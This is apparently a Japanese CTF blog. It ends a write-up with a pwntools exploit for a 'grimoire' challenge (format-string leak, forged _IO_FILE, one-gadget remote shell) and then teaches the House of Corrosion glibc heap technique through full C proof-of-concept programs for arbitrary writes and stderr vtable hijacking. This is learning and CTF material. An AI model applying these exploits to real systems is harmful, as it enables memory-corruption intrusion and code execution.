  return conn.recvuntil("*")[:-1]

def _revise(conn,off,text):
  hoge(conn,3)
  conn.recvuntil("Offset: ")
  conn.sendline(str(off))
  conn.recvuntil("Text: ")
  conn.send(text)
  
def _close(conn):
  hoge(conn,4)  

original_len = 370
margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
off_dlmap = 0x400031
off_grimoire_open = 0x1045
off_libc_scu_init = 0xab63d08690
off_libc_start_main231 = 0x21b97
off_main = 0x1478

ogs = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  #leak libcbase and textbase
  _open(conn)
  _read(conn)
  _revise(conn,370,"A"*margin)
  fp =  unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
  print("[*]fp: "+hex(fp))
    ##make it possible to fopen with init==1 by forcing fp=0
  _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")

  _open(conn) #invoke error and do FSA
  data = conn.recvline().split(": No such")[0]
  textbase = int(data.split(":")[1],16) - off_grimoire_open
  libcbase = int(data.split(":")[2],16) - off_libc_start_main231
  addr_text = textbase + 0x202060
  print("[!]libcbase: "+hex(libcbase))
  print("[!]textbase: "+hex(textbase))
  print("[*]addr text: "+hex(addr_text))


  #forged fake _IO_FILE_plus
  magic = 0x40
  hoge = p64(0x0) #should be
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x0)
  hoge += p64(0x0)
  hoge += p64(libcbase + ogs[0]) #rdi
  hoge += p64(libcbase + ogs[0]) #rsi
  hoge += p64(0x0) #_IO_buf_base
  hoge += p64(0x700) #_IO_buf_end
  hoge += p64(0)*4
  hoge += p64(libcbase + 0x3ec680) #chain
  hoge += p64(0x0000000000000005)
  hoge += p64(0)*2
  hoge += p64(libcbase + 0x3ed8b0)
  hoge += p64(0x0000000000000173)
  hoge += p64(0)
  hoge += p64(libcbase + 0x3ed8b0) #lock
  hoge += p64(0)*6
  hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
  
  hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
  hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
  _revise(conn,magic,hoge)
  raw_input()

  _close(conn)

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

 

f:id:smallkirby:20200309063616p:plain

 

 

5: babybof / protrude

チームの人が解いてくれました、凄い

 

6: syscall kit

解けなかった

 

気づきとしては

・brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ

・xxx64 とか openat2 みたいな、seccompされてないしスコール使えないんかな

・send とか そのへん使えないんかな

・ソケット通信...?

 

バイナリ自体になんか欠陥があるだとか、C++固有のexploitだとかだったら、もう完敗。乾杯

 

 

7: wget

 チームの人が、 location 2回書いて multiple free させて libc leakまではいった

けど、自分的にデバッグ環境整えるの面倒でやれなかった

 

 

8: meowmow

 kernel問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた

grimoireでhardならmediumのこの問題、意外といけたのか???

 

 

9: Survey

ptr-yudai san, バケモンか???

 

 

10: アウトロ

pwn問題はとてもとても面白かったです

(全完勢がいたこととジャンルに偏りがあったのはご愛嬌)

 

 時間内に解けなかったpwn問題は後で必ず全部解いて復習する

 

 

 

 

よくよく考えると

CTFに参加して、楽しい気分で終わったことがないな

問題解けた時のドーパミンは終了時までもたないし、最後は必ず解けてない問題を諦めて終わることになる

 

ということで、もうCTFはしません

 

 

 

 

 

続く

続かない

 

 

 

 

 

 

 

 

 

【pwn 21.0】House of Corrosion : 使えればいいじゃんな覚書

 

 

0: 参考

【A】 本家

github.com

 

【B】ptr-yudaiさんの日本語解説記事

ptr-yudai.hatenablog.com

 

【C】FileExploitationについて

dhavalkapil.com

 

 

1: イントロ

House of Corrosion (以下HoC)は2019年1月25日に CptGibbon 氏によって発表された heap exploitation 手法である
自分の確認できる範囲で解説記事は
  【A】本家の詳細な解説英語記事
  【B】ptr-yudaiさんのCTF形式のPoC付き日本語解説記事
の2つだけであった

本エントリではhow2heap形式のPoCを軸として解説を進めていく


尚、本エントリは _int_malloc()/ _int_free()/ malloc_consolidation()/ unlink 等のmalloc.cの内容をを理解していることを前提としている

 

 

2: 概要

HoC でできることを概観する

できること

  • Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む
  • Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む
  • Advantage3: 任意の8byte-aligned高位アドレスにある値を任意の8byte-aligned高位アドレスに対して書き写す
  • これらの書き込み/読み込みを、オフセットのみ既知のlibcシンボルに対して行うことができる
  • 以上を踏まえて、一切のアドレスリーク無しに4bit-bruteforceのみでシェルを取ること

制約

  • UAFがあること
  • 任意サイズのmallc()が任意回数行えること

 

 

やはり一番の特徴はアドレスリークが不要なことであろう
詳しくは後述するが、これは main_arena中のfastbinsY を中心にしてexploitをするから可能なことである

尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY よりも高位のアドレスを意味する

 

 

 

3: 3つのAdvantage

HoC では1つの準備によって3つの利点が生じる
以下ではその準備と、3つの利点をPoC付きで説明していく

 

準備

fastbins に入る最大サイズは global_max_fast (以下gmf) の値によって決まる (デフォルトで 0x80)
このsize以下で tcaching されないchunkは、free()されると main_arena 中の fastbinsY (type: mfastbinptr (*)[10]) に格納されることになる

fastbinsY にはsize:0x20以上のエントリが0x10byte毎に格納される
FIFO方式であるから、free()されると該当のfastbinsYエントリにはfreeした chunk のアドレスが、freeしたchunkの fd にはfastbinsYのアドレスが書き込まれることになる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4231

HoC ではこのgmfを大きな値に書き換えることによって、任意sizeのchunkをこのfastbinsに入れられるようにすることを準備とする

 

gmf 書き換えには unsortedbin attack を用いる
ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める


free() 時に gmf 以上のsizeをもつ chunk は unsortedbin に繋がれる
この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*) の [0,1] に実体を持ち、main_arenaの先頭からのオフセットは0x70である

f:id:smallkirby:20200224205406p:plain

 

よって freed chunk の bk には main_arena+0x70のアドレスが入ることになる
このアドレスと gmf は下4nibbleを除いて同じである
また、libcbaseの下3nibbleは必ず0x000であるためこれは既知の値となる
故にgmfのアドレスは第4nibble目の 4bit のエントロピーを持ち、十分にunsortedbin attackでbruteforce可能であると言える
即ち、 main_arena+0x70 の下2byte(内4nibble目は総当り) を書き換えることで、次のmalloc()時に凡そ1/16の確率で gmf を main_arena+0x70の値で上書きすることができる


以上を unsortedbin attack の説明とする

 

Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む

これで fastbins に任意サイズのchunkが入るようになった
上に述べたような fastbinsY へのアドレスの書き込みによって、任意の8byte-alignedアドレスに巨大な値(heapのアドレス)を書き込めるようになることが分かるであろう
その際には、目的のアドレスに書き込まれるように malloc() するサイズを調整しなければならないのだが
これは以下の公式で計算できる

size=(distance2)+0x20size = (distance * 2) + 0x20\\

ここで distance mfastbinsY と 目的のアドレスのオフセットである

さて、このAdvantage1の PoC が以下である
尚、本来この unsortedbin attacok は4bitのエントロピーを持つのだが
いちいち try&error をするのが面倒なため、PoCでは予め用意したアドレスをもとに100%成功するようにしている
本エントリの目的がHoCを理解することであるため、煩わしい部分は省略していく
但し、DEBUGマクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている

 

//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 1\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/
  printf("\n* Advantage 1 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack...\n");
  free(attack);

  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

今回は target を stderr とした
実行すると以下のようになる

f:id:smallkirby:20200224205437p:plain



 

stderr が heap のアドレスで上書きされていることが分かるであろう

 

Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む

Advantage1では書き込める値が heap のアドレスに限定されていたが
freed chunk の fd をUAF等を利用して任意の値に書き変え
その後でもう一度同じサイズのmalloc()をすることで、下図のように任意の値をtargetに書き込めるようになる

f:id:smallkirby:20200224205457p:plain



 

以下のPoCでは、 target を stderr 、書き込む値を0xDEADBEEFCAFEBABEとしている

//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 2\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のようになる

f:id:smallkirby:20200224205518p:plain

 

stderr が0xDEADBEEFCAFEBABEで書き換えられていることが分かるであろう

 

Advantage3: 任意の8byte-aligned高位アドレスの値を任意の8byte-aligned高位アドレスに書き写す

Advantage3では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる
ここでは値を持ってくるアドレスを SRC, そこにある値を VALUE, 値を書き込む先のアドレスを DSTとする

まずAdvantage1 でDST に入るようなサイズの2つのchunk A,Bを用意する
ここでA,Bは下位1byteを除いて同じアドレスに位置するくらい近くに置かなくてはならない
但しAdv1で使うサイズは通常非常に大きく、普通にmallocをしてもそんなに近くは配置されないため
予めoverlapped chunk/UAF等を利用してA/Bを隣接させておく必要がある

その上で B->A の順にfree()をして fake fastbins に繋ぐ
この時点では A の fd には B のアドレスが入っている
UAF等を利用してAの fd の下1byteのみを書き換えて、下図のようなAのみの循環リストを作る
(前述したように下1byteのみならばエントロピーは0である)
この状態でもう一度 DST サイズのmallocをしてAを取得する

f:id:smallkirby:20200224205604p:plain



 

ここでoverlapped chunkを利用してAのサイズを SRC のサイズに書き換える
(ここで使用するoverlapped chunkは後述するようにA/Bを近くに置く過程で自動的に手に入る)
この状態で A をfreeするとAは SRC に繋がるため、Aの fd には VALUE が書き込まれる

f:id:smallkirby:20200224205546p:plain



 

この上でもう一度 DST のサイズでmallocすると、 DST には fd として VALUE が書き込まれることが分かるであろう

f:id:smallkirby:20200224205634p:plain



 

以上のように値の transplantation を行うことができる
更に、Aに VALUE が書き込まれている状態(画像の2枚目の状態)でUAF等を用いて VALUE の一部を書き換えることで
ある値を一部分だけ変更して移植することもできる
これを tamper in flight と呼ぶ

使い方としては、libcの既知のアドレスが格納されているアドレスから値を持ってきて、その下位1byteを書き換えることで任意のアドレスに目的のlibcシンボルのアドレスを書き込むと行ったことが考えられる

(実際にこの手法は以下で説明するシェルを取る方法で使われている)

 

PoCは以下の通り
SRC stderr (Adv2で0xDEADBEEFCAFEBABEを書き込んでいる)、 DSTstderr+0x60 としている
overlapped chunkを作る作業はマクロ化している

//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;


ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC
  ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET
  ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 3\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for preparation
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  
  // prepare for Advantage 3
  GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!!
  chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //free and UAF
  free(a); //connect to unsortedbin
  
  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  /**Advantage 3: Transplant the value**/
  printf("\n* Advantage 3 *\n");
  printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60));
  printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  free(B);
  free(A);
  ((char*)A)[0] = 0x70; //overwrite fd's LSByte
  WAIT
  A = malloc(size_stderr0x60);

  tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B)
  free(A);

  tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc
  printf("[*]attack...\n");
  malloc(size_stderr0x60);
  printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  printf("\n\nCan you understand? Debug by yourself now.\n");

  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のように stderr+0x60VALUE が書き込まれていることが分かるであろう

f:id:smallkirby:20200224205709p:plain



 

4: シェルを取るまでの概観

以上の3つのAdvantageを組み合わせるとシェルを取ることができる
しかも大きな特徴として

尚自分自身、heap関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため
間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う
詳細は参考【B】【C】を見ていただきたい

なお近日中にFileExploitationについては整理したエントリを書くつもりである

 

シェルを取るまでの概略は以下の通り

  • heapを整備する
  • global_max_fast を書き換える (unsortedbin attack)
  • stderr を改竄する (とりわけ vtable を書き換え _IO_str_overflow() が呼ばれるようにし、その中での *((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); で onegadgetが呼ばれるようにする
  • _int_malloc() の largebins の処理の最中に assert() を呼ばせ、stderrを動かすことで改竄した vtable を使わせる

 

以下では各ステップをPoCと共に説明する
尚、HoCは出力系が一切なくアドレスリークも無い時に真価を発揮するのだが
本PoCでは便宜上出力系は途中まで生かしておく
(それでも途中でvtableを書き換え、mode=1とするため出力できなくなるのだが)

参考【A】【B】と違い、 how2heap形式での説明を行っている

また順序構成は本家とは変えており、 "Heap Feng Shui" についてはその名前を出さずに説明を行っている

 

5: heapを整備する

本exploitはその最中に大量の memory corruption を作り出すため、最初にheapがきれいな状態でheapを整備しておく必要がある

各々の操作の詳しい説明は後で必要になった時に説明することとして
取り敢えずやっておくべき処理は以下のとおりである 

largebinに繋ぐ用のchunkを作る

後々 largebin に繋がるように、1024byte 以上の chunk を作っておく
このchunkはこの後 largebin に繋いだ後、 NON_MAINARENAフラグを立てる
すると int_malloc() の処理で assert() が呼ばれることになる(これは最終ステージで使う)
尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()が行われたときのみ largebin に繋がれることに注意

  printf("* Preparing for some chunks ...*\n");
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
 

global_max_fast を書き換えるための unsortebin attack 用のchunkを作る

HoC の一番とっかかりである gmf の書き換えをする unsortedbin attack 用のchunkを作っておく

書き換え前の global_max_fast よりも小さい値 (<0x80) ならば何でもOK

但し、途中でconsolidationされないように、間に chunk を挟んでおくなどする必要がある

  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
 

overlapped chunkとfake sizeを作る

stderr_IO_buf_endと stderrの_allocate_bufferを書き換えるためにAdv3を使うのだが、そこで必要となる overlapped chunk を用意しておく
これは単純作業のためマクロ化している

また、Adv3では chunk(A) のサイズを書き換えることで値の transplantation を行うのであったが、 このサイズの書き換えをした上で malloc/free をしても怒られないように
続く領域を fake size で埋めておく (sizeはMIN_SIZE以上システムメモリサイズ以下ならば何でも良い)

尚この際に A の fd を自分自身を指すように書き換えなければならないため
Aが配置されるアドレスの下1byteは事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下3nibbleは固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである)

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }


Adv2用のchunkを作る

Adv2による任意値の書き込みに使う用のchunkを大量に作っておく
数が多いだけで、全て fastbinsY と target のオフセットをサイズ公式に入れた値分だけmalloc()しているだけである

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);


6: largebinにchunkを繋げる

最終フェーズで assert() を呼ぶだめに必要な largebin に先程用意したchunkを繋げる
 free() 後に malloc() する chunk は largebin 用の chunk よりも大きなサイズでないとunsortedbin が分割されそこから取得されてしまうので注意
その後UAF等を用いて NON_MAINARENA を立てる
これで largebin の検査の際にこのchunkに遭遇すると assert() が起こるようになる

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA

7: Unsortedbin attack で gmf を書き換える

やるだけなので省略する
尚、全てまとめた完成版のPoCは本エントリの最後に載せてある


8: Unsortedbinのbkを正常のchunkにする

これも先程述べた largebin に関係している
malloc() の際には largebin の探索の前に unsortedbin の探索が走るわけだが
普通に unsortedbin attack をしただけの状態だと unsortedbin->bkdumped_main_arena_end を指している
そしてこの dumped_main_arena は chunk として見ると bk にNULLが入ってしまっている

f:id:smallkirby:20200224210034p:plain

 

よってこれを正常な値にしてやらないと
largebinの探索にまで入らず、 assert() が起こらないことになる
そこでこの辺りをあたかも通常のunsortedであるかのように見せるために、 sizebk に該当する部分を書き換えてやる

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

9: vtableを始めとするストリームの改竄

あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである
ADV3では前述した tamper in flight もできるようなマクロを作ってある

まず今回は出力系が生きているため stderr/stdoutmode を1にすることで一旦殺す
(そうしないとストリームを改竄した際にクラッシュする)

その後、_IO_str_overflow() に於いて flags を用いた処理で止まらないように stderr->flagsを0にしておく
また、確実に出力処理がなされるように stderr->_IO_write_ptr を非常に大きな値にしておく

  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);

改竄はもう少し続く
stderr->_IO_buf_end には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)
